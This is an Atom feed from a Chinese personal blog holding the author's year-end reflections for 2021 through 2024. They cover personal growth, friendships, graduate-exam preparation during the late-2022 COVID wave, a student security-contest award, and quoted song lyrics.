<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>deoplljj</title>
  
  <subtitle>每个不曾起舞的日子，都是对生命的辜负</subtitle>
  <link href="https://deoplljj.com/atom.xml" rel="self"/>
  
  <link href="https://deoplljj.com/"/>
  <updated>2025-01-01T09:06:29.000Z</updated>
  <id>https://deoplljj.com/</id>
  
  <author>
    <name>deoplljj</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>2024年度总结</title>
    <link href="https://deoplljj.com/2025/01/my2024/"/>
    <id>https://deoplljj.com/2025/01/my2024/</id>
    <published>2025-01-01T09:06:29.000Z</published>
    <updated>2025-01-01T09:06:29.000Z</updated>
    
    <content type="html"><![CDATA[<!-- wp:paragraph --><p>感觉越是长大，文笔水平反倒是越来越倒退。在中学时期，每年12月便开始想着怎么去写好当年的年度总结，想着要今年有哪些东西是一定要写进去的，要用什么样的文字来阐述精彩或是平凡的一年，一直到了自己考研的那一年，哪怕是一年里面还剩下了三四天才开始构思、哪怕是新冠已经中招了难受的要死，也还是会用满两三天的时间来构思以及攥写当年的年度总结。反倒是大学毕业以后，哪怕经历的事情、见过的场面远远多于之前几年，似乎也没有当年的满腔热血来写自己的年度总结了。到如今，已经是：哦，好像已经新年了，之前每一年都有去写年度总结，那今年是不是不能断掉呢？还是快速回想一下今年发生了什么，然后去找一些华丽的辞藻摘抄包装一下吧。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>翻阅起之前几年的年度总结，又得感叹一下现在所处的环境和之前几年完全是天差地别，但是自己好像身处这个过程中也没感觉到每天有多大的变化的发生，或许这就是成长吧。但是想了想到了这个年纪了，估计所谓“成长”这个概念也会慢慢开始淡化吧。在之前觉得在博客上可以无话不说，现在写着需要斟酌好久这些到底能不能说，这个说了会不会成为以后的一个把柄……或许这也是所谓成长的一种体现吧。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>（手机相册真是写年度总结的利器，每次忘记每年干了什么的时候，打开手机相册按时间轴排序就可以想起来，坏处就是写得和流水账一样）</p><!-- /wp:paragraph --><!-- wp:heading --><h2 class="wp-block-heading">疯狂</h2><!-- /wp:heading --><!-- wp:paragraph --><p>今年得益于周围的一群伙伴们，让我得以以各种以前从来不敢尝试的方式“疯狂”。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>在本科期间，或许是没有遇到能一起玩的朋友，往往都是自己一个人去爬山、去找没去过的地方探寻；但现在周围有了几个能一起玩的朋友，让我能用各种方式去尝试之前没有做过的事情：从外出跨年0点倒计时，到去远方比赛、旅行，还有更多疯狂的事情，这是之前从来都没有过的体验。</p><!-- /wp:paragraph --><!-- wp:image {"align":"center","id":925,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image aligncenter size-large"><img src="/images/2025/01/ba3e51662fad54e0bed3a3418c57491-728x1024.jpg" alt="" class="wp-image-925"/></figure><!-- /wp:image --><!-- wp:paragraph --><p>当然在疯狂之余，也还是会有一些时间是想要自己独处的，在某些时候也非常享受这样的时光。</p><!-- /wp:paragraph --><!-- wp:image {"align":"center","id":926,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image aligncenter size-large"><img src="/images/2025/01/923a64f1a8480f4a4ce55c4cfa62885-515x1024.jpg" alt="" class="wp-image-926"/></figure><!-- /wp:image --><!-- wp:heading --><h2 class="wp-block-heading">追</h2><!-- /wp:heading --><!-- wp:quote --><blockquote class="wp-block-quote"><!-- wp:paragraph --><p>试卷和书页飞扬于盛夏，12年的苦读凝结成一封邮政函件，以升学为转折，少年的梦想开启新篇，过去所学皆是厚积，奔向五湖四海之后的人生，将迸发出无限缤纷的色彩。</p><!-- /wp:paragraph --></blockquote><!-- /wp:quote --><!-- wp:paragraph --><p>经过了这么多年，当初追寻的梦想依然没有变。不同时期有着不同时期的迷茫，每天接触到的信息洪流，社会的现状，身边的不公……残酷的现实也一次次地把冷水浇在我们的头上，但守得初心，方得始终。在一次又一次被现实伤到之后，每每静下来看看夜空上的繁星，总还是能想起在18岁那年夏天同样在仰望着繁星的自己；也还是能想起22岁准备考研前的那段时光。虽然现实没有当年年少轻狂的时候想象的那么简单美好，但是总还是要一直向前看的，低着头原地踏步永远不可能看到漫天的星辰，更看不到冲破黑夜的第一缕光。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>这个世界并不太平，这个社会并不冷静，每天巨大的信息洪流、人工智能带来的冲击每天都在让人扪心自问自己的价值到底在哪里，在哪里可以有自己的容身之地。</p><!-- /wp:paragraph --><!-- wp:quote --><blockquote class="wp-block-quote"><!-- wp:paragraph --><p>新年的阳光会如约而至，它照耀着每个与众不同的人。这个世界不会因为技术变得简单，复杂才是它的本质，我们也终将在这复杂中找到存在的意义。因为你无法计算，所以无可估量；因为你并不完美，反而独一无二——这是我们对人与AI关系的反思，更是对人类价值的再次确认。我们之所以在这颗星球上行走，不是为了成为最快最好的机器，而是要在这浩瀚的星辰大海中找到自己、确认自己、喜欢自己。</p><!-- /wp:paragraph --></blockquote><!-- /wp:quote --><!-- wp:paragraph --><p>在2024年里，也获得了不少的所谓的成就。但与以往不同的是，现在获得这些成就的时候，并没有多少和之前一样的欣喜若狂，也不会想要在年度总结里面一一罗列炫耀，取而代之的是平静与坦然。因为我感觉从长远的眼光回头来看，这些东西似乎都是微不足道的东西，在当天激动过后就抛在脑后了，在之后捡起来时，发现似乎并没有值得说道的地方。这或许也是与之前不同的一点吧。</p><!-- /wp:paragraph --><!-- wp:image {"align":"center","id":928,"width":"117px","height":"auto","sizeSlug":"full","linkDestination":"none"} --><figure class="wp-block-image aligncenter size-full is-resized"><img src="/images/2025/01/image.png" alt="" class="wp-image-928" style="width:117px;height:auto"/></figure><!-- /wp:image --><!-- wp:paragraph --><p>要说到2024年最大的收获，我想或许还是自己心态上的改变，除了前面所说的这些针对所谓成就的看法，我还改变了很多对人和事情的看法，一些不值得的事情不值得去追求；一些不值得的人也不值得在上面花费心思。</p><!-- /wp:paragraph --><!-- wp:heading --><h2 class="wp-block-heading">2025</h2><!-- /wp:heading --><!-- wp:paragraph --><p>2025年的太阳已经升起，不论是光荣或坎坷、成就与满足还是遗憾与不甘，已经在新旧交替之间归零。还是希望自己能不管他人的闲言碎语，做好自己，勇敢前行，继续仰望那篇璀璨星空。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>虽然已经忘记为什么之前有几年年度总结都要放一首歌歌词，但我今年想放这首《笑忘歌》，忘掉烦恼，继续前行：</p><!-- /wp:paragraph --><!-- wp:quote --><blockquote class="wp-block-quote"><!-- wp:paragraph --><p>屋顶的天空是我们的</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>放学后夕阳也都会是我们的</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>不会再让步更多了</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>唱一首属于我们的歌</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>让我们的伤都慢慢慢的愈合</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>明天我又会是全新的</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>OH HO</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>青春是手牵手坐上了</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>永不回头的火车</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>总有一天我们都老了</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>不会遗憾就OK了</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>伤心的都忘记了</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>只记得这首笑忘歌</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>那一年天空很高 风很清澈</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>从头到脚趾都快乐</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>我和你都约好了</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>要再唱这首笑忘歌</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>这一生志愿只要平凡快乐</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>谁说这样不伟大呢</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>自己和自己打一架了</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>想通想不通反正就是这样了</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>不会再流泪更多了</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>有多少错误重蹈覆辙</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>有多少苦痛还不是都过来了</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>想起来甚至还会笑呢</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>OH HO</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>青春是人生的实验课</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>错也错得很值得</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>就算某天唱起这首歌</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>眼眶会有一点湿热</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>伤心的都忘记了</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>只记得这首笑忘歌</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>那一年天空很高 风很清澈</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>从头到脚趾都快乐</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>我和你都约好了</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>要再唱这首笑忘歌</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>这一生志愿只要平凡快乐</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>谁说这样不伟大呢</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>伤心的都忘记了</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>只记得这首笑忘歌</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>那一年天空很高 风很清澈</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>从头到脚趾都快乐</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>我和你都约好了</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>要再唱这首笑忘歌</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>这一生志愿只要平凡快乐</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>谁说这样不伟大呢</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>这一生志愿只要平凡快乐</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>谁说这样不伟大呢</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>谁说这样不伟大呢</p><!-- /wp:paragraph --><cite>五月天《笑忘歌》</cite></blockquote><!-- /wp:quote -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:paragraph --&gt;
&lt;p&gt;感觉越是长大，文笔水平反倒是越来越倒退。在中学时期，每年12月便开始想着怎么去写好当年的年度总结，想着要今年有哪些东西是一定要写进去的，要用什么样的文字来阐述精彩或是平凡的一年，一直到了自己考研的那一年，哪怕是一年里面还剩下了三四</summary>
      
    
    
    
    <category term="未分类" scheme="https://deoplljj.com/categories/%E6%9C%AA%E5%88%86%E7%B1%BB/"/>
    
    
  </entry>
  
  <entry>
    <title>2023年度总结</title>
    <link href="https://deoplljj.com/2023/12/my2023/"/>
    <id>https://deoplljj.com/2023/12/my2023/</id>
    <published>2023-12-31T01:22:46.000Z</published>
    <updated>2024-04-04T13:57:45.000Z</updated>
    
    <content type="html"><![CDATA[<!-- wp:paragraph --><p>好像也是这么多年来第一次拖了这么久的年度总结。元旦那会事情全都积压在一起，导致后面一直拖延是一回事；但是其实在这几个月里面，自己也一直在思考，这个年度总结到底还应不应该继续以这样的形式进行公开。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>开通博客，在博客上写一写技术日常，发一发自己的感想，本意是给自己留下成长的痕迹，让未来某一刻的自己，能够在某个时刻看到自己曾经在这个青涩的年纪留下的一些文字，能够会想起自己的初心，或多或少回忆到那个时间自己的处境和所思所想。在博客上公开的目的是为了能够让一些志同道合的人或者是有缘的人（虽然自从博客创办以来我就没有指望能有多少这样的读者）能够共勉，找到共鸣。但是在过去的这一年多的时间里，也见识到了太多的人性的阴暗面：博客中自己期望的那些受众可能并不多，反而是那些有心想要加害于你、看不得别人过得好的那些小人反而会对博客的内容以及你在互联网上留下的任何痕迹仔细研究，想要加害于他人。这种事情就在我的身边发生过，我对这样的人只能选择敬而远之。也正是因为有这样的事情出现，我也对我这些做法有些许的犹豫。或许以后年度总结还是会继续保持下去，但是可能就是真的写给自己看的了吧。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>相比于22年，2023年的整个历程可能没有那么艰辛又励志，但是同样多彩。</p><!-- /wp:paragraph -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:paragraph --&gt;
&lt;p&gt;好像也是这么多年来第一次拖了这么久的年度总结。元旦那会事情全都积压在一起，导致后面一直拖延是一回事；但是其实在这几个月里面，自己也一直在思考，这个年度总结到底还应不应该继续以这样的形式进行公开。&lt;/p&gt;
&lt;!-- /wp:para</summary>
      
    
    
    
    <category term="生活" scheme="https://deoplljj.com/categories/%E7%94%9F%E6%B4%BB/"/>
    
    
  </entry>
  
  <entry>
    <title>2022年度总结</title>
    <link href="https://deoplljj.com/2022/12/my2022/"/>
    <id>https://deoplljj.com/2022/12/my2022/</id>
    <published>2022-12-31T13:43:53.000Z</published>
    <updated>2022-12-31T13:43:53.000Z</updated>
    
    <content type="html"><![CDATA[<!-- wp:paragraph --><p>2022年的每一步都走得很艰难，但我想但这一切都值得被铭记。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>翻开过去几年的年度总结，打开手机相册翻看当时的照片，看着曾经在指尖流淌过的岁月，回忆起当初的年少轻狂，心中感慨万千。感慨大学四年在不经意间就要接近尾声；感慨自己在一次又一次的跌倒又爬起来的过程被磨平了棱角，变得越来越现实。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>2022年是极为不平凡的一年，尤其是对于我们2019级的学生。在今年的一开始，我就做好了心理准备，已经准备好放弃很多东西。但我没有想到，这一切竟是如此的艰难。</p><!-- /wp:paragraph --><!-- wp:heading --><h2>懵懵懂懂的备考之路</h2><!-- /wp:heading --><!-- wp:paragraph --><p>对于我而言，考研的目的是什么？我想，这个问题的答案从大一开始到现在都没有改变，那就是重新回到自己热爱的领域里去。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>因此，我也是最早就开始准备有关工作的那一批人之一。当然，可能也和那些人当中的很多人一样，一开始准备没有任何头绪，四处乱撞，四处碰壁；买了一套又一套的参考书，看了一篇又一篇的经验帖，到头来自己还是和无头苍蝇一样。待在书桌前几个小时，总感觉自己好像学到了什么，但是又感觉好像也没学多少东西；看一眼剩下的天数，告诉自己剩下的天数还充裕，保持进度的同时慢慢试错就好。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>就这样，上半年的时间就这样在懵懵懂懂的状态下度过了。</p><!-- /wp:paragraph --><!-- wp:heading --><h2>追星星的人</h2><!-- /wp:heading --><!-- wp:paragraph --><p>我喜欢夏天，喜欢在乡村田间湿热的空气中，闻着空气中独特的那一股清香，仰望天空中浩瀚的银河与繁星；喜欢站在松软的金黄的沙滩上，望着无垠的海面，倾听海浪的潮声，任由思绪放空。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>今年的夏天，难得有无云的黑夜。于是在7月中下旬的某个深夜，我和老友一同驱车前往乡下，一起去做追星星的人。“追星计划”已经实施两年多了，之前一直苦于没有找到合适的时间和地点，或是没有合适的设备。这次，终于等到了一个天时地利人和的机会。</p><!-- /wp:paragraph --><!-- wp:image {"align":"center","id":877,"width":596,"height":347,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image aligncenter size-large is-resized"><img src="/images/2022/12/1630ec2c46315ad7350158171f0c0e8-1024x598.jpg" alt="" class="wp-image-877" width="596" height="347"/><figcaption class="wp-element-caption">无意中还抓拍到了流星</figcaption></figure><!-- /wp:image --><!-- wp:image {"align":"center","id":878,"width":598,"height":332,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image aligncenter size-large is-resized"><img src="/images/2022/12/41bb06386082f847d98920c2a177bd9-1024x570.jpg" alt="" class="wp-image-878" width="598" height="332"/></figure><!-- /wp:image --><!-- wp:paragraph --><p>即便是匆匆旅人，也不要忘记仰望头顶上的那片繁星呀。</p><!-- /wp:paragraph --><!-- wp:heading --><h2>孤独的旅程</h2><!-- /wp:heading --><!-- wp:paragraph --><p>我从没想过，我是如此的害怕孤独。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>9月回到学校以后，一直到考前一段时间，每天的路线几乎就变成了固定的四点一线：宿舍，图书馆，食堂，操场。每天在晨光中进入图书馆，听着闭馆音乐走出图书馆。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>每天都按照时间节点做着同样的事，坐在同样的位置，看着周围几乎同样的人。每天能说话的人除了回到宿舍后的舍友和电话那头的父母，也就只剩下食堂阿姨了。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>在最开始的一个月，我还比较适应这种感觉。但在一个多月后，我明显开始感觉到一种难以言表的压抑感。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>在之前，我一直都想要逃离喧嚣，寻找自己的空间，享受那一份孤独带来的宁静与美感。但现在，我却对眼前这份无边无际的孤独感到无比的恐惧，我只想要快点逃离这里，但我却看不见这里的边界。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>我可能不是那种适合考试的人，考试只会给我带来无尽的痛苦与焦虑。高考是这样，考研也是这样。但高考有无数的人和你一起同行，一起并肩作战；也有老师和家长在一旁帮忙扫除一切前进道路上的阻碍。但考研只能是一场孤独的旅程，唯一能依靠的人只有自己。周围的人非但不会帮你扫除障碍，反而会为你增添阻碍。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>有的人可能一个知识点，一个题型只听一遍就了熟于心，但有的人可能反复听、练好几遍都还掌握不熟练。我本人可能更倾向于后者，因此，我也只能更多的去依靠“勤能补拙”的力量，每天在自己的薄弱环节投入大量的时间来弥补缺漏。我也时不时会陷入自我怀疑，也无数次的感受被理想与现实撕裂的感觉。我到底能实现我的理想吗？</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>一望远方，雾霭蒙蒙，无处前路，莫问归期。</p><!-- /wp:paragraph --><!-- wp:heading --><h2>困难与坚强</h2><!-- /wp:heading --><!-- wp:paragraph --><p>我从没想过，我是如此的坚强。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>尽管在学习上遇到许多困难，但忍一忍，终究还是可以克服。毕竟每年来可能有无数的研考生都会经历和我类似的心境。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>但在2022年的这个时候，一切都不太一样。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>11月末，全国疫情开始严重起来，许许多多考试开始陆续取消。在月底，国家公务员考试取消，瞬间网上关于考研会不会延期的声音铺天盖地，一些引流大V开始为话题造势，甚至一些不想考试的考生也开始在网上开始刷热度、开始给有关部门灌骚扰电话。同学之间、研友之间也开始紧张地讨论。本来已经对网上发生的事完全漠不关心的我，终究还是被拖入了这焦虑的漩涡。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>本来就已经因学习上的压力而有点喘不上气的我，陷入了更深的不安之中，甚至开始感觉到有点喘不过气来。我尽力地控制自己不去看网上的信息和讨论，一心埋在学习当中。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>好在，官方在后来给了几个比较确定的消息，在一定程度上给我们定了心。但疫情始终以难以预料的速度在蔓延，那些“延期派”的活动也越来越频繁，不安与焦虑始终还是在身边徘徊。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>背负着这两座大山，好不容易撑到了考前最后半个月。随者政策的改变，学校也在一夜之间解封。我瞬间感受到了前所未有的恐惧。这一切如同3年前病毒突然出现在我们身边时一般，社会上、学校里都充满着未知和恐慌。我在那时候感觉到，我可能已经到了要崩溃的边缘了。</p><!-- /wp:paragraph --><!-- wp:image {"align":"center","id":883,"width":317,"height":117,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image aligncenter size-large is-resized"><img src="/images/2022/12/0b08442e5b7a3cb02fc3ea1a62f8b7e-1024x378.jpg" alt="" class="wp-image-883" width="317" height="117"/></figure><!-- /wp:image --><!-- wp:image {"align":"center","id":885,"width":318,"height":108,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image aligncenter size-large is-resized"><img src="/images/2022/12/c243064b243f49c4307a226bf9f60e1-1024x351.jpg" alt="" class="wp-image-885" width="318" height="108"/></figure><!-- /wp:image --><!-- wp:paragraph --><p>这个时刻可能许多低年级的同学都在庆祝自由，但在这种情况下解封对我们考研人究竟意味着什么，也许只有我们自己才知道了。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>几天后，学校的非考研生开始被疏散离校，校园进入了空空荡荡的状态。每天早晚往返图书馆的路途中望着冷清的校园，走在只有自己一个人的操场上，心中总是感觉到丝丝寂寞与酸楚。</p><!-- /wp:paragraph --><!-- wp:image {"align":"center","id":887,"width":478,"height":359,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image aligncenter size-large is-resized"><img src="/images/2022/12/3b58c0065e11d0d8bb0a1ae0c82a1bd-1024x768.jpg" alt="" class="wp-image-887" width="478" height="359"/></figure><!-- /wp:image --><!-- wp:paragraph --><p>正如我所预料的，学校内开始出现病例，之后图书馆也开始传出出现阳性病例的情况。为了最大限度避免意外，我选择了在最后5天回到宿舍学习。在那个时候，对于之前的紧张和焦虑多多少少已经感觉到麻木。宿舍及周边的环境也并不完全安全。每天在周围的、朋友圈里的、群里的考研同学开始有人不幸在考前几天感染而“倒下”。那几天感觉这就像是一场“鱿鱼游戏”一般，每天早上都会有几个人“倒下”。而我，相比于之前，少了一份之前的焦虑与恐惧，多了一份”尽人事、听天命“的麻木与释然。</p><!-- /wp:paragraph --><!-- wp:image {"align":"center","id":890,"width":501,"height":376,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image aligncenter size-large is-resized"><img src="/images/2022/12/be88663c6ebd92d0653693c42cb6221-edited.jpg" alt="" class="wp-image-890" width="501" height="376"/></figure><!-- /wp:image --><!-- wp:paragraph --><p>考试的那两天其实并不是特别顺利，但终究也就是顺利完成了考试。走出考场的那一刻，我感觉我像是刚从极夜里走出来的人一样，被刺眼的光照到睁不开眼。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>我想我是一个幸运的人，纵然疫情如此，纵然身边险象环生，我还是顺利完成了考试。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>如果问我，是什么支撑着我走完了这么长这么艰险的一条路，我想，这个支柱只能是我自己。因为只有自己，才能支撑着我越过一座又一座高山；只有我自己，才能不断克服一切困难险阻、才能战胜过去的自己；只有我自己，才能写下属于自己的一页又一页的诗篇。</p><!-- /wp:paragraph --><!-- wp:heading --><h2>岁末</h2><!-- /wp:heading --><!-- wp:paragraph --><p>本来以为，2022的故事就这样结束了，没想到回到家第二天，我阳了。</p><!-- /wp:paragraph --><!-- wp:image {"align":"center","id":891,"width":307,"height":360,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image aligncenter size-large is-resized"><img src="/images/2022/12/02fd77200f7097e38640a8fb5c27dfc-871x1024.jpg" alt="" class="wp-image-891" width="307" height="360"/></figure><!-- /wp:image --><!-- wp:image {"align":"center","id":892,"width":206,"height":421,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image aligncenter size-large is-resized"><img src="/images/2022/12/da370fd7a9b2e7c1a8a1fc176ef43b6-501x1024.jpg" alt="" class="wp-image-892" width="206" height="421"/></figure><!-- /wp:image --><!-- wp:paragraph --><p>2022年，要度的劫还真多啊。</p><!-- /wp:paragraph --><!-- wp:heading --><h2>展望未来：平凡之路</h2><!-- /wp:heading --><!-- wp:paragraph --><p>比起当年的年少轻狂，现在的我更多的是被现实和生活磨平了棱角。这一年的努力不一定会有回报，自己所期待的，并不一定会真的到来。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>这一年，我为了追逐自己心中的理想，放弃了很多东西，也辜负了一些人。在心中或是愧疚，或是隐隐作痛。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>明天会更好吗？</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>但我相信，少年的书桌前没有虚度的光阴，之前走过的每一步路，看过的每一本书，所经历的一切的一切，最终都将汇聚成最美丽的景象。未来的路是一段漫长的平凡之路，但欲以一身撼天下，须于平地起波澜。未来的路或许很艰辛，但在经历了今年的这一切以后，我相信我能有更沉着的心境来面对这些风浪和艰难险阻。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>前方的路，依然遥远。未来要穿越无数的山和大海，要穿越无数的人山人海，也可能无数次的堕入无边的黑暗之中，但这是或许是我唯一要走的平凡之路。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>愿在未来能继续做一个正直的人、勇敢的人、坚强的人、永远向前看的人。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>不念过往，不惧将来，勇敢前行。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>读这篇文章到这里的旅人啊，或许你是未来若干年后的自己，或是另一位匆匆路过的旅人。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>你的故事，又讲到了哪？</p><!-- /wp:paragraph -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:paragraph --&gt;
&lt;p&gt;2022年的每一步都走得很艰难，但我想但这一切都值得被铭记。&lt;/p&gt;
&lt;!-- /wp:paragraph --&gt;

&lt;!-- wp:paragraph --&gt;
&lt;p&gt;翻开过去几年的年度总结，打开手机相册翻看当时的照片，看着曾经在</summary>
      
    
    
    
    <category term="生活" scheme="https://deoplljj.com/categories/%E7%94%9F%E6%B4%BB/"/>
    
    
  </entry>
  
  <entry>
    <title>2021年度总结</title>
    <link href="https://deoplljj.com/2022/01/my2021/"/>
    <id>https://deoplljj.com/2022/01/my2021/</id>
    <published>2022-01-01T13:07:08.000Z</published>
    <updated>2022-01-01T13:07:08.000Z</updated>
    
    <content type="html"><![CDATA[<!-- wp:paragraph --><p>        又到了一年一度的年度总结时间了。不知道是人变懒了还是因为年龄增长、变得成熟了一点的缘故，现在已经不再像之前一样，想要写很多的文字来总结和记录这一年到底经历了什么。面对已经成为历史的2021年，我也只想用几段简明的文字来描绘一下我心中的2021，以及展望一下全新的2022。</p><!-- /wp:paragraph --><!-- wp:heading --><h2>一些变化</h2><!-- /wp:heading --><!-- wp:paragraph --><p>       首先不得不承认，现在的心境相比于去年的年底可以说是完全不同的。包括在去年的年度总结留下的一些flag，在我现在看来只能苦笑。很多时候理想确实很丰满，人总是会把自己所认可的东西（包括人和事）想象的很好，但是在现实的一盆冷水过后，一切都只是显得可笑。</p><!-- /wp:paragraph --><!-- wp:heading {"level":3} --><h3>理想与现状的割裂</h3><!-- /wp:heading --><!-- wp:paragraph --><p>        最初进入到现在这个学院，是抱着“要将自己感兴趣的专业与现在这个专业结合”的心态来的。但从现在来看，这只不过是一个把理想太当真闹得一个笑话。因为真正能够理解、体谅你的老师寥寥无几，甚至有的人根本就看不起你所谓的梦想和理想。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>       当初想着可以通过老师组织的项目来把自己热爱的东西和现在所学的专业结合起来，但是在经过几轮现实的鞭打过后，我发现这根本就是属于不可能的事情。甚至从观念的角度上来说，我都对这些项目不太认同——我认为其中大部分不过是主办方骗钱骗方案的工具罢了。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>        于是自然而然的，我的理想就开始与现状逐渐割裂开来了。在今年的早些时候，这个博客开通了diary小站，专门用来倒苦水。我也是经常性的在上面发表我的强烈不满，这种情绪在最近——也就是年末的时候最为严重。因为在2022年底，我们这一届马上就要迎来考研这一关键节点。对于当前现状不满的我，现在强烈地希望通过考研来逃离这个我所厌恶的专业，然而实习这一令人反感的东西成为了我们最大的拦路虎。我们在与学院沟通的过程中，某些人高傲、事不关己、令人作呕的姿态再一次加深了我对现在这个状况的不满。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>        或许现在回到两年前，我会毅然决然地选择转专业吧。相比于现在这种情况，转专业那些困难又算什么。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>        虽然现在对于割裂的理想与现实整体抱着无奈的态度，但是还是有一些老师，包括我们学院的老师，非常的理解和支持我，我也在此对他们表示衷心的感谢。</p><!-- /wp:paragraph --><!-- wp:heading --><h2>2021的那些难忘的经历和瞬间</h2><!-- /wp:heading --><!-- wp:heading {"level":3} --><h3>CISCN2021</h3><!-- /wp:heading --><!-- wp:paragraph --><p>今年3、4月份看到全国大学生信安竞赛CISCN开始报名的时候，我和队友都是抱着玩一玩的心态去的。因为根据往年的真题来看，CISCN的题目难度完全不是我们能够做出来的。然而我们在初赛的运气不错，做出来的题目刚好够我们进入复赛。复赛前我们想着只要能够混一个奖回来就行了，不敢对名次抱有太大的希望。但是最终我们获得了华东南赛区的第18名（福建省第三名），抱了一个二等奖回学校，这也是学校有史以来最好的成绩。这段经历让我们重新认识了自己的位置，也成为了今年最为弥足珍贵的经历之一。</p><!-- /wp:paragraph --><!-- wp:image {"id":852,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2022/01/59a9a9fff5c11e371564ef5167119bf-1024x683.jpg" alt="" class="wp-image-852"/></figure><!-- /wp:image --><!-- wp:image {"id":853,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2022/01/db3a33e253d8e38f05b4d5715432c44-1024x768.jpg" alt="" class="wp-image-853"/></figure><!-- /wp:image --><!-- wp:heading {"level":3} --><h3>海南</h3><!-- /wp:heading --><!-- wp:paragraph 